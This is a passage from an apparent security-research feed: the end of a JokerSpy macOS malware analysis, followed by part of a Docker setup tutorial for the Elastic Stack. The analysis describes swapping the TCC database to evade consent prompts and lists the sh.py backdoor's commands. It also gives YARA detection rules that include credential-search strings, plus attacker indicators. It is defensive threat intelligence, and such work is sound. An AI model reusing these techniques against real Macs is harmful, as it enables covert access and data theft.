<p>Following the execution of <strong>xcc</strong> , we observed the threat actor attempting to bypass TCC permissions by creating their own TCC database and trying to replace the existing one. On June 1st a new Python-based tool was seen executing from the same directory as <strong>xcc</strong> and was utilized to execute an open-source macOS post-exploitation enumeration tool known as Swiftbelt.</p>
<h2>Analysis</h2>
<p>REF9134 is an intrusion into a large Japan-based cryptocurrency service provider focusing on asset exchange for trading Bitcoin, Ethereum, and other common cryptocurrencies.</p>
<h3>The xcc binary</h3>
<p><strong>xcc</strong> ( <strong>d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8</strong> ) is a self-signed multi-architecture binary written in Swift which is used to evaluate current system permissions. The version observed by Elastic Security Labs is signed as <strong>XProtectCheck-55554944f74096a836b73310bd55d97d1dff5cd4</strong> , and has a code signature resembling <a href="https://objective-see.org/blog/blog_0x73.html">publicly known</a> and untrusted payloads.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/inital-research-of-jokerspy/image8.png" alt="Initial detection of the xcc binary" /></p>
<p>To identify other binaries signed with the same identifier, we converted <strong>XProtectCheck-55554944f74096a836b73310bd55d97d1dff5cd4</strong> to hexadecimal and searched VirusTotal to identify 3 additional samples ( <strong>content:{5850726f74656374436865636b2d35353535343934346637343039366138333662373333313062643535643937643164666635636434}</strong> ).</p>
<p>Each contained the same core functionality with structural differences. These discrepancies may indicate that these variants of <strong>xcc</strong> were developed to bypass endpoint capabilities that interfered with execution.</p>
<p>Shortly after the creation of <strong>xcc</strong> , researchers observed the threat actor copying <strong>/Users/Shared/tcc.db</strong> over the existing TCC database, <strong>/Library/Application Support/com.apple.TCC/TCC.db</strong>. This may enable the threat to avoid TCC prompts visible to system users while simultaneously abusing a directory with broad file write permissions.</p>
<h4>XCode artifacts</h4>
<p>During analysis of this binary, researchers identified two unique paths, <strong>/Users/joker/Developer/Xcode/DerivedData/</strong> and <strong>/Users/joker/Downloads/Spy/XProtectCheck/XProtectCheck/</strong> , which stood out as anomalous. The default path for compiling code with Xcode is <strong>/Users/[username]/Developer/Xcode/DerivedData</strong>.</p>
<h4>Abusing TCC</h4>
<p>These introspection permissions are managed by the native Transparency, Consent, and Control (TCC) feature. Researchers determined that <strong>xcc</strong> checks FullDiskAccess and ScreenRecording permissions, as well as checking if the screen is currently locked and if the current process is a trusted accessibility client.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/inital-research-of-jokerspy/image2.jpg" alt="xcc queries current system permissions" /></p>
<p>Upon successfully executing in our <a href="https://www.elastic.co/pt/security-labs/click-click-boom-automating-protections-testing-with-detonate">Detonate</a> environment, the following results were displayed:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/inital-research-of-jokerspy/image3.jpg" alt="TCC permissions queried by xcc" /></p>
<p>Once the custom TCC database was placed in the expected location, the threat actor executed the <strong>xcc</strong> binary.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/inital-research-of-jokerspy/image4.jpg" alt="Threat actor creating/modifying, moving a TCC database, and then executing xcc" /></p>
<h4>Initial access</h4>
<p>The <strong>xcc</strong> binary was executed via bash by three separate processes</p>
<ul>
<li><strong>/Applications/IntelliJ IDEA.app/Contents/MacOS/idea</strong></li>
<li><strong>/Applications/iTerm.app/Contents/MacOS/iTerm2</strong></li>
<li><strong>/Applications/Visual Studio Code.app/Contents/MacOS/Electron.</strong></li>
</ul>
<p>While we are still investigating and continuing to gather information, we strongly believe that the initial access for this malware was a malicious or backdoored plugin or 3rd party dependency that provided the threat actor access. This aligns with the connection that was made by the researchers at <a href="https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack/">Bitdefender</a> who correlated the hardcoded domain found in a version of the <strong>sh.py</strong> backdoor to a Tweet about an infected macOS QR code reader which was found to have a malicious dependency.</p>
<h4>Deployed cryptographic libraries</h4>
<p>On May 31st, researchers observed three non-native <a href="https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/UsingDynamicLibraries.html">DyLibs</a> deployed to <strong>/Users/shared/keybag/</strong> called <strong>libcrypto.1.0.0.dylib</strong> , <strong>libncursesw.5.dylib</strong> , and <strong>libssl.1.0.0.dylib</strong>. On MacOS, keys for file and keychain Data Protection are stored in <a href="https://support.apple.com/en-au/guide/security/sec6483d5760/web">keybags</a>, and pertain to iOS, iPadOS, watchOS, and tvOS. At this time, researchers propose that this staging serves a defense evasion purpose and speculate that they may contain useful vulnerabilities. The threat actor may plan to introduce these vulnerabilities to otherwise patched systems or applications.</p>
<h4>The sh.py backdoor</h4>
<p><strong>sh.py</strong> is a Python backdoor used to deploy and execute other post-exploitation capabilities like Swiftbelt <strong>.</strong></p>
<p>The malware loads its configuration from <strong>~/Public/Safari/sar.dat</strong>. The configuration file contains crucial elements such as command-and-control (C2) URLs, a sleep timer for beaconing purposes (the default value is 5 seconds), and a unique nine-digit identifier assigned to each agent.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/inital-research-of-jokerspy/image5.jpg" alt="Execution of sh.py with the C2 URL provided as a parameter" /></p>
<p>As part of its periodic beaconing, the malware gathers and transmits various system information. The information sent includes:</p>
<ul>
<li>Hostname</li>
<li>Username</li>
<li>Domain name</li>
<li>Current directory</li>
<li>The absolute path of the executable binary</li>
<li>OS version</li>
<li>Is 64-bit OS</li>
<li>Is 64-bit process</li>
<li>Python version</li>
</ul>
<p>Below is a table outlining the various commands that can be handled by the backdoor:</p>
<table>
<thead>
<tr>
<th>Command</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>sk</td>
<td>Stop the backdoor's execution</td>
</tr>
<tr>
<td>l</td>
<td>List the files of the path provided as parameter</td>
</tr>
<tr>
<td>c</td>
<td>Execute and return the output of a shell command</td>
</tr>
<tr>
<td>cd</td>
<td>Change directory and return the new path</td>
</tr>
<tr>
<td>xs</td>
<td>Execute a Python code given as a parameter in the current context</td>
</tr>
<tr>
<td>xsi</td>
<td>Decode a Base64-encoded Python code given as a parameter, compile it, then execute it</td>
</tr>
<tr>
<td>r</td>
<td>Remove a file or directory from the system</td>
</tr>
<tr>
<td>e</td>
<td>Execute a file from the system with or without parameter</td>
</tr>
<tr>
<td>u</td>
<td>Upload a file to the infected system</td>
</tr>
<tr>
<td>d</td>
<td>Download a file from the infected system</td>
</tr>
<tr>
<td>g</td>
<td>Get the current malware's configuration stored in the configuration file</td>
</tr>
<tr>
<td>w</td>
<td>Override the malware's configuration file with new values</td>
</tr>
</tbody>
</table>
<h3>Swiftbelt</h3>
<p>On June 1st, the compromised system registered a signature alert for <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Hacktool_Swiftbelt.yar">MacOS.Hacktool.Swiftbelt</a>, a MacOS enumeration capability inspired by <a href="https://github.com/GhostPack/Seatbelt">SeatBelt</a> and created by the red-teamer Cedric Owens. Unlike other enumeration methods, Swiftbelt invokes Swift code to avoid creating command line artifacts. Notably, <strong>xcc</strong> variants are also written using Swift.</p>
<p>The signature alert indicated that Swiftbelt was written to <strong>/Users/shared/sb</strong> and executed using the bash shell interpreter, <strong>sh</strong>. The full command line observed by researchers was <strong>Users/Shared/sb /bin/sh -c /users/shared/sb \&gt; /users/shared/sb.log 2\&gt;&amp;1</strong> , demonstrating that the threat actor captured results in <strong>sb.log</strong> while errors were directed to STDOUT.</p>
<h2>Diamond Model</h2>
<p>Elastic Security utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/inital-research-of-jokerspy/image1.png" alt="REF9134 Diamond Model" /></p>
<h2>Observed tactics and techniques</h2>
<h3>MITRE ATT&amp;CK Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action. These are the tactics observed by Elastic Security Labs in this campaign:</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
</ul>
<h3>MITRE ATT&amp;CK Techniques / Sub techniques</h3>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action. These are the techniques observed by Elastic Security Labs in this campaign:</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059">Command and Scripting Interpreter</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/004">Dylib Hijacking</a></li>
<li><a href="https://attack.mitre.org/techniques/T1068">Potential Exploitation for Privilege Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548">Potential Abuse Elevation Control Mechanism</a></li>
<li><a href="https://attack.mitre.org/techniques/T1564">Hide Artifacts</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1027">Obfuscating Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1553">Subvert Trust Controls</a></li>
<li><a href="https://attack.mitre.org/techniques/T1010">Application Window Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1113">Screen Capture</a></li>
<li><a href="https://attack.mitre.org/software/S0498">Crytpoistic Software</a></li>
<li><a href="https://attack.mitre.org/techniques/T1005">Data from Local System</a></li>
</ul>
<h2>Detection logic</h2>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the JOKERSPY backdoor and SwiftBelt tool.</p>
<pre><code>rule Macos_Hacktool_JokerSpy {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2023-06-19&quot;
        last_modified = &quot;2023-06-19&quot;
        os = &quot;MacOS&quot;
        arch = &quot;x86&quot;
        category_type = &quot;Hacktool&quot;
        family = &quot;JokerSpy&quot;
        threat_name = &quot;Macos.Hacktool.JokerSpy&quot;
        reference_sample = &quot;d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $str1 = &quot;ScreenRecording: NO&quot; fullword
        $str2 = &quot;Accessibility: NO&quot; fullword
        $str3 = &quot;Accessibility: YES&quot; fullword
        $str4 = &quot;eck13XProtectCheck&quot;
        $str5 = &quot;Accessibility: NO&quot; fullword
        $str6 = &quot;kMDItemDisplayName = *TCC.db&quot; fullword
    condition:
        5 of them
}
</code></pre>
<pre><code>rule MacOS_Hacktool_Swiftbelt {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2021-10-12&quot;
        last_modified = &quot;2021-10-25&quot;
        threat_name = &quot;MacOS.Hacktool.Swiftbelt&quot;
        reference_sample = &quot;452c832a17436f61ad5f32ee1c97db05575160105ed1dcd0d3c6db9fb5a9aea1&quot;
        os = &quot;macos&quot;
        arch_context = &quot;x86&quot;
        license = &quot;Elastic License v2&quot;

    strings:
        $dbg1 = &quot;SwiftBelt/Sources/SwiftBelt&quot;
        $dbg2 = &quot;[-] Firefox places.sqlite database not found for user&quot;
        $dbg3 = &quot;[-] No security products found&quot;
        $dbg4 = &quot;SSH/AWS/gcloud Credentials Search:&quot;
        $dbg5 = &quot;[-] Could not open the Slack Cookies database&quot;
        $sec1 = &quot;[+] Malwarebytes A/V found on this host&quot;
        $sec2 = &quot;[+] Cisco AMP for endpoints found&quot;
        $sec3 = &quot;[+] SentinelOne agent running&quot;
        $sec4 = &quot;[+] Crowdstrike Falcon agent found&quot;
        $sec5 = &quot;[+] FireEye HX agent installed&quot;
        $sec6 = &quot;[+] Little snitch firewall found&quot;
        $sec7 = &quot;[+] ESET A/V installed&quot;
        $sec8 = &quot;[+] Carbon Black OSX Sensor installed&quot;
        $sec9 = &quot;/Library/Little Snitch&quot;
        $sec10 = &quot;/Library/FireEye/xagt&quot;
        $sec11 = &quot;/Library/CS/falcond&quot;
        $sec12 = &quot;/Library/Logs/PaloAltoNetworks/GlobalProtect&quot;
        $sec13 = &quot;/Library/Application Support/Malwarebytes&quot;
        $sec14 = &quot;/usr/local/bin/osqueryi&quot;
        $sec15 = &quot;/Library/Sophos Anti-Virus&quot;
        $sec16 = &quot;/Library/Objective-See/Lulu&quot;
        $sec17 = &quot;com.eset.remoteadministrator.agent&quot;
        $sec18 = &quot;/Applications/CarbonBlack/CbOsxSensorService&quot;
        $sec19 = &quot;/Applications/BlockBlock Helper.app&quot;
        $sec20 = &quot;/Applications/KextViewr.app&quot;
    condition:
        6 of them
}
</code></pre>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack/">https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack</a></li>
</ul>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>app.influmarket[.]org</td>
<td>Domain</td>
<td>n/a</td>
<td>sh.py domain</td>
</tr>
<tr>
<td>d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8</td>
<td>SHA-256</td>
<td>/Users/Shared/xcc</td>
<td>Macos.Hacktool.JokerSpy</td>
</tr>
<tr>
<td>8ca86f78f0c73a46f31be366538423ea0ec58089f3880e041543d08ce11fa626</td>
<td>SHA-256</td>
<td>/Users/Shared/sb</td>
<td>MacOS.Hacktool.Swiftbelt</td>
</tr>
<tr>
<td>aa951c053baf011d08f3a60a10c1d09bbac32f332413db5b38b8737558a08dc1</td>
<td>SHA-256</td>
<td>/Users/Shared/sh.py</td>
<td>sh.py script</td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/inital-research-of-jokerspy/photo-edited-04@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[The Elastic Container Project for Security Research]]></title>
            <link>https://www.elastic.co/pt/security-labs/the-elastic-container-project</link>
            <guid>the-elastic-container-project</guid>
            <pubDate>Wed, 01 Mar 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The Elastic Container Project provides a single shell script that will allow you to stand up and manage an entire Elastic Stack using Docker. This open source project enables rapid deployment for testing use cases.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>The Elastic Stack is a modular data analysis ecosystem. While this allows for engineering flexibility, it can be cumbersome to stand up a development instance for testing. The easiest way to stand up the Elastic Stack, is to use <a href="https://cloud.elastic.co">Elastic Cloud</a> - it’s completely turnkey. However, there could be situations where Elastic Cloud won’t work for your testing environment. To help with this, this blog will provide you with the necessary information required in order to quickly and painlessly stand up a local, fully containerized, TLS-secured, Elastic Stack with Fleet and the Detection Engine enabled. You will be able to create a Fleet policy, install an Elastic Agent on a local host or VM, and send the data into your stack for monitoring or analysis.</p>
<p>This blog will cover the following:</p>
<ul>
<li>The Elastic Stack</li>
<li>The Elastic Container project</li>
<li>How to use the Elastic Container project</li>
<li>How to navigate Kibana and use its related features for security research</li>
</ul>
<blockquote>
<p>The Elastic Container Project is not sponsored or maintained by the company, Elastic. Design and implementation considerations for the project may not reflect Elastic’s guidance on deploying a production-ready stack.</p>
</blockquote>
<h2>The Elastic Stack</h2>
<p>The Elastic Stack is made up of several different components, each of which provide a distinct capability that can be utilized across a wide variety of use cases.</p>
<h3>Elasticsearch</h3>
<p>Elasticsearch is a distributed, RESTful search and analytics engine. As the heart of the Elastic Stack, it centrally stores your data for lightning-fast search, fine-tuned relevancy, and powerful analytics that scale with ease.</p>
<h3>Kibana</h3>
<p>Kibana is the user interface that lets you visualize your Elasticsearch data and manage the Elastic Stack.</p>
<h3>The Elastic Agent</h3>
<p>The Elastic Agent is the modular agent that allows you to collect data from an endpoint or act as a vehicle to ship data from 3rd party sources, like threat feeds. The Elastic Security integration for endpoints prevents ransomware and malware, detects advanced threats, and arms responders with vital investigative context.</p>
<h2>The Elastic Container Project</h2>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/elastic-container.png" alt="The Elastic Container Project" /></p>
<p>As mentioned above, the Elastic Stack is modular which makes it very flexible for a wide variety of use cases but this can add complexity to the implementation.</p>
<p>The Elastic Container project is an open source project that uses Docker Compose as a way to stand up a fully-functional Elastic Stack for use in non-production environments. This project is not sponsored or maintained by the Elastic company.</p>
<h3>Introduction</h3>
<p>The <a href="https://github.com/peasead/elastic-container">Elastic Container Project</a> includes three main components:</p>
<ul>
<li>Elasticsearch</li>
<li>Kibana</li>
<li>the Elastic Agent</li>
</ul>
<p>The project leverages <a href="https://docs.docker.com/compose/">Docker Compose</a>, which is a tool to build, integrate, and manage multiple Docker containers.</p>
<p>To simplify the management of the containers, the project includes a shell script that allows for the staging, starting, stopping, and destroying of the containers.</p>
<p>Additionally, the project makes use of self-signed TLS certificates between Elasticsearch and Kibana, Kibana and your web browser, the Elastic Agent and Elasticsearch, and the Elastic Agent and Kibana.</p>
<h3>Prerequisites</h3>
<p>The project was built and tested on Linux and macOS operating systems. If you are using Windows, you’ll not be able to use the included shell script, but you can still run native Docker Compose commands and manually perform post-deployment steps.</p>
<p>While not thoroughly tested, it is recommended that you contribute 4 cores and 8 GB of RAM to Docker.</p>
<p>There are only a few packages you need to install:</p>
<ul>
<li>Docker</li>
<li>Docker Compose</li>
<li>jq</li>
<li>Git</li>
<li>cURL</li>
</ul>
<h4>macOS</h4>
<p>If you’re running on macOS, you can install the prerequisites using <a href="https://brew.sh/">Homebrew</a>, which is an open-source package management system for macOS. Check out the Homebrew site for information on installing it if needed.</p>
<pre><code>**brew install jq git**
**brew install --cask docker**
</code></pre>
<h4>Linux</h4>
<p>If you’re running on Linux, you can install the prerequisites using your package management system ( <strong>DNF</strong> , <strong>Yum</strong> , or <strong>APT</strong> ).</p>
<p><strong>RPM-based distributions</strong></p>
<pre><code>**dnf install jq git curl**
</code></pre>
<p><strong>Ubuntu</strong></p>
<pre><code>**apt-get install jq git curl**
</code></pre>
<p>You'll also need the Docker suite (including the <strong>docker-compose-plugin</strong> ). Check out Docker's <a href="https://docs.docker.com/engine/install/">installation instructions</a> for your OS'</p>
<h3>Cloning the project repository</h3>
<p>The Elastic Container project is stored on Github. As long as you have Git installed, you can collect it from your CLI of choice.</p>
<pre><code>**git clone https://github.com/peasead/elastic-container.git**
**cd elastic-container**
</code></pre>
<p>This repository includes everything needed to stand up the Elastic Stack containers using a single shell script.</p>
<h3>Setting credentials</h3>
<p>Before proceeding, ensure you update the credentials for the Elastic and Kibana accounts in the <strong>.env</strong> file located in the root directory of the repository from their defaults of <strong>changeme</strong>.</p>
<h3>The shell script</h3>
<p>As mentioned above, the project includes a shell script that will simplify the management of the containers.</p>
<pre><code>**usage: ./elastic-container.sh [-v] (stage|start|stop|restart|status|help)**
**actions:**
 **stage downloads all necessary images to local storage**
 **start creates network and starts containers**
 **stop stops running containers without removing them**
 **destroy stops and removes the containers, the network and volumes created**
 **restart simply restarts all the stack containers**
 **status check the status of the stack containers**
 **help print this message**
 **flags:**
 **-v enable verbose output**
</code></pre>
<h4>Stage</h4>
<p>This option downloads all of the containers from the Elastic Docker hub. This is useful if you are going to be building the project on a system that does not always have Internet access. This is not required, you can skip this option and move directly to the start option, which will download the containers.</p>
<pre><code>**$ ./elastic-container.sh stage**
**8.3.0: Pulling from elasticsearch/elasticsearch**
**7aabcb84784a: Already exists**
**e3f44495617d: Downloading [====\\&gt;] 916.5kB/11.26MB**
**52008db3f842: Download complete**
**551b59c59fdc: Downloading [\\&gt;] 527.4kB/366.9MB**
**25ee26aa662e: Download complete**
**7a85d02d9264: Download complete**
**…**
</code></pre>
<h4>Start</h4>
<p>This opinion will create the container network, download all of the required containers, set up the TLS certificates, and start and connect Elasticsearch, Kibana, and the Fleet server containers together. This option is a “quick start” to get the Elastic Stack up and running. If you have not changed your credentials in the .env file from the defaults, the script will exit.</p>
<pre><code>**$ ./elastic-container.sh start**

**Starting Elastic Stack network and containers**
**[+] Running 7/8**
 **⠿ Network elastic-container\_default Created 0.0s**
 **⠿ Volume &quot;elastic-container\_certs&quot; Created 0.0s**
 **⠿ Volume &quot;elastic-container\_esdata01&quot; Created 0.0s**
 **⠿ Volume &quot;elastic-container\_kibanadata&quot; Created 0.0s**
 **⠿ Container elasticsearch-security-setup Waiting 2.0s**
 **⠿ Container elasticsearch Created 0.0s**
**…**
</code></pre>
<h4>Stop</h4>
<p>This option will stop all running containers in the project, but will not remove them.</p>
<pre><code>**$ ./elastic-container.sh stop**

**Stopping running containers.**
**[+] Running 4/4**
 **⠿ Container elastic-agent Stopped 0.0s**
 **⠿ Container kibana Stopped 0.0s**
 **⠿ Container elasticsearch Stopped 0.0s**
 **⠿ Container elasticsearch-security-setup Stopped**
**…**
</code></pre>
<h4>Destroy</h4>
<p>This option will stop all running containers in the project, remove the container network, remove all data volumes, and remove all containers.</p>
<pre><code>**$ ./elastic-container.sh destroy**

**#####**
**Stopping and removing the containers, network, and volumes created.**
**#####**
**[+] Running 8/4**
 **⠿ Container elastic-agent Removed 0.0s**
 **⠿ Container kibana Removed 0.0s**
 **⠿ Container elasticsearch Removed 0.0s**
 **⠿ Container elasticsearch-security-setup Removed 0.3s**
 **⠿ Volume elastic-container\_esdata01 Removed 0.0s**
 **⠿ Network elastic-container\_default Removed 0.1s**
**…**
</code></pre>
<h4>Restart</h4>
<p>This option restarts all of the project containers.</p>
<pre><code>**$ ./elastic-container.sh restart

#####
Restarting all Elastic Stack components.
#####
Name Command State Ports
---------------------------
elasticsearch /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:9200-\\&gt;9200/tcp, 9300/tcp
fleet-server /usr/bin/tini -- /usr/loca ... Up 0.0.0.0:8220-\\&gt;8220/tcp
kibana /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:5601-\\&gt;5601/tcp**
</code></pre>
<h4>Status</h4>
<p>This option returns the status of the project containers.</p>
<pre><code>**$ ./elastic-container.sh status**
**Name Command State Ports**
**---------------------------**
**elasticsearch /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:9200-\\&gt;9200/tcp, 9300/tcp**
**fleet-server /usr/bin/tini -- /usr/loca ... Up 0.0.0.0:8220-\\&gt;8220/tcp**
**kibana /bin/tini -- /usr/local/bi ... Up (healthy) 0.0.0.0:5601-\\&gt;5601/tcp**
</code></pre>
<h4>Clear</h4>
<p>This option clears all documents in the logs and metrics indices.</p>
<pre><code>**$ ./elastic-container.sh clear**

**Successfully cleared logs data stream**
**Successfully cleared metrics data stream**
</code></pre>
<h4>Help</h4>
<p>This option provides instructions on using the shell script.</p>
<pre><code>**$ ./elastic-container.sh help**

**usage: ./elastic-container.sh [-v] (stage|start|stop|restart|status|help)**
**actions:**
 **stage downloads all necessary images to local storage**
 **start creates a container network and starts containers**
 **stop stops running containers without removing them**
 **destroy stops and removes the containers, the network and volumes created**
 **restart simply restarts all the stack containers**
 **status check the status of the stack containers**
**clear all documents in logs and metrics indexes**
 **help print this message**
**flags:**
 **-v enable verbose output**
</code></pre>
<h2>Getting Started</h2>
<p>Now that we’ve walked through the project overview and the shell script, let’s go through the process of standing up your own stack.</p>
<h3>Updating variables</h3>
<p>All of the variables are controlled in an environment file ( <strong>.env</strong> ) that is at the root of the repository. The only things that you must change are the default usernames and passwords for <strong>elastic</strong> and <strong>kibana</strong>.</p>
<p>Open the <strong>.env</strong> file with whatever text editor you’re most comfortable with and update the <strong>ELASTIC_PASSWORD</strong> and <strong>KIBANA_PASSWORD</strong> variables from <strong>changeme</strong> to something secure. If you do not update the credentials from the defaults in the <strong>.env</strong> file, the script will exit.</p>
<p>If you want to change the other variables (such as the stack version), you can do so in this file.</p>
<h3>Starting the Elastic Stack</h3>
<p>Starting the project containers is as simple as running the <strong>elastic-container.sh</strong> shell script with the start option.</p>
<pre><code>**$ ./elastic-container.sh start**

**Starting Elastic Stack network and containers
[+] Running 7/8
⠿ Network elastic-container\_default Created 0.0s
⠿ Volume &quot;elastic-container\_certs&quot; Created 0.0s
⠿ Volume &quot;elastic-container\_esdata01&quot; Created 0.0s
⠿ Volume &quot;elastic-container\_kibanadata&quot; Created 0.0s
⠿ Container elasticsearch-security-setup Waiting 2.0s
⠿ Container elasticsearch Created 0.0s
⠿ Container kibana Created 0.1s
⠿ Container fleet-server Created 0.2s

Attempting to enable the Detection Engine and Prebuilt-Detection Rules
Kibana is up. Proceeding
Detection engine enabled. Installing prepackaged rules.
Prepackaged rules installed!
Waiting 40 seconds for Fleet Server setup
Populating Fleet Settings
READY SET GO!

Browse to https://localhost:5601
Username: elastic
Passphrase: you-changed-me-from-the-default-right?**
</code></pre>
<h3>Accessing the Elastic Stack</h3>
<p>Once the containers have all downloaded and started, you’ll get an output that tells you to browse to <strong><a href="https://localhost:5601">https://localhost:5601</a></strong>.</p>
<p><strong>Note:</strong> You’ll need to accept the self-signed TLS certificate.</p>
<h2>Enabling the Platinum Features</h2>
<p>Enabling the Platinum license features are completely optional. Security features, like anti-malware, EDR, EPP, etc. are included in the Basic license. Memory, behavior, and ransomware protections are Platinum license features. If you want to change your license, we can do that with the <strong>.env</strong> file or from within Kibana. You can update to Elastic Platinum for 30-days.</p>
<p>If you want to use the <strong>.env</strong> file so that the features are enabled when the stack is built, change <strong>LICENSE=basic</strong> to <strong>LICENSE=trial</strong> and then start the project as normal.</p>
<p>If you prefer to use Kibana, click on the hamburger menu, and then click on Stack Management.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image5.jpg" alt="Access Stack Management from Kibana" /></p>
<p>Click on License Management and then “Start a 30-day trial”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image24.png" alt="Start a 30-day trial" /></p>
<h2>Creating a Fleet policy</h2>
<p>Now that we have the entire Elastic Stack up and running, we can make a <a href="https://www.elastic.co/pt/guide/en/kibana/current/fleet.html">Fleet</a> policy. Fleet is a subroutine of an <a href="https://www.elastic.co/pt/elastic-agent">Elastic Agent</a> (which was built when we ran the <strong>start</strong> option in the shell script) that enables you to manage other Elastic Agents, policies, and integrations.</p>
<blockquote>
<p>Fleet is managed in Kibana, the UI that allows you to interact with data stored in Elasticsearch and manage your Elastic stack. If you’re interested in learning more about Kibana, check out the <a href="https://www.elastic.co/pt/training/free#quick-starts">free</a> <a href="https://www.elastic.co/pt/training/free#how-to">training</a> <a href="https://www.elastic.co/pt/training/free#fundamentals">videos</a>.</p>
</blockquote>
<p>Log into your Kibana instance and click on the “hamburger” menu on the top left, and navigate down to “Fleet”, under the “Management” section.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image17.jpg" alt="Accessing Fleet" /></p>
<p>Next, click on the “Agent policies” tab and then the “Create agent policy” button.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image27.png" alt="Create agent policy" /></p>
<p>Give your new policy a name and a description (optional). Normally, we uncheck the “Collect agent logs” and “Collect agent metrics” options because it’s additional data going to the stack that we generally don’t need for our specific use-case. If you’re doing troubleshooting or interested in what’s happening behind the scenes, this data can help you understand that.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Agent_policies_-_Fleet_-_Elastic.jpg" alt="Defining the agent policy" /></p>
<p>Next, click on your new policy and the blue “Add integration” button.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image15.png" alt="Open the Fleet policy" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image3.jpg" alt="Add integrations" /></p>
<p>There are hundreds of integrations, but the ones that we’re most interested in for this blog are for Elastic Security.</p>
<p>To install Elastic Security, simply click on the tile on the main integrations page or search for “security”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image16.png" alt="Endpoint and Cloud Security integration" /></p>
<p>Next, click the “Add Endpoint and Cloud Security” button to install this integration into the policy we just created.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image4.jpg" alt="Add Endpoint and Cloud Security" /></p>
<p>Name the integration and click the blue “Save and continue” button.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image1.jpg" alt="Save the integration to the policy" /></p>
<blockquote>
<p>While the Endpoint and Cloud Security and System integrations will collect security related logs, if you’re using Sysmon on a Windows host, you may want to add the “Windows” integration to collect those logs.</p>
</blockquote>
<p>Once the integration is installed, you’ll be prompted to add more Agents or to do that later. Select the “Add Elastic Agent later” option so we can make a few more changes to our policy.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image19.jpg" alt="Add Elastic Agents later" /></p>
<p>Now we’ll be dropped back to our policy page.</p>
<p>We should have two integrations for our policy: <strong>security</strong> and <strong>system-1</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Agent_policies_-_Fleet_-_Elastic.jpg" alt="Reviewing the Windows policy" /></p>
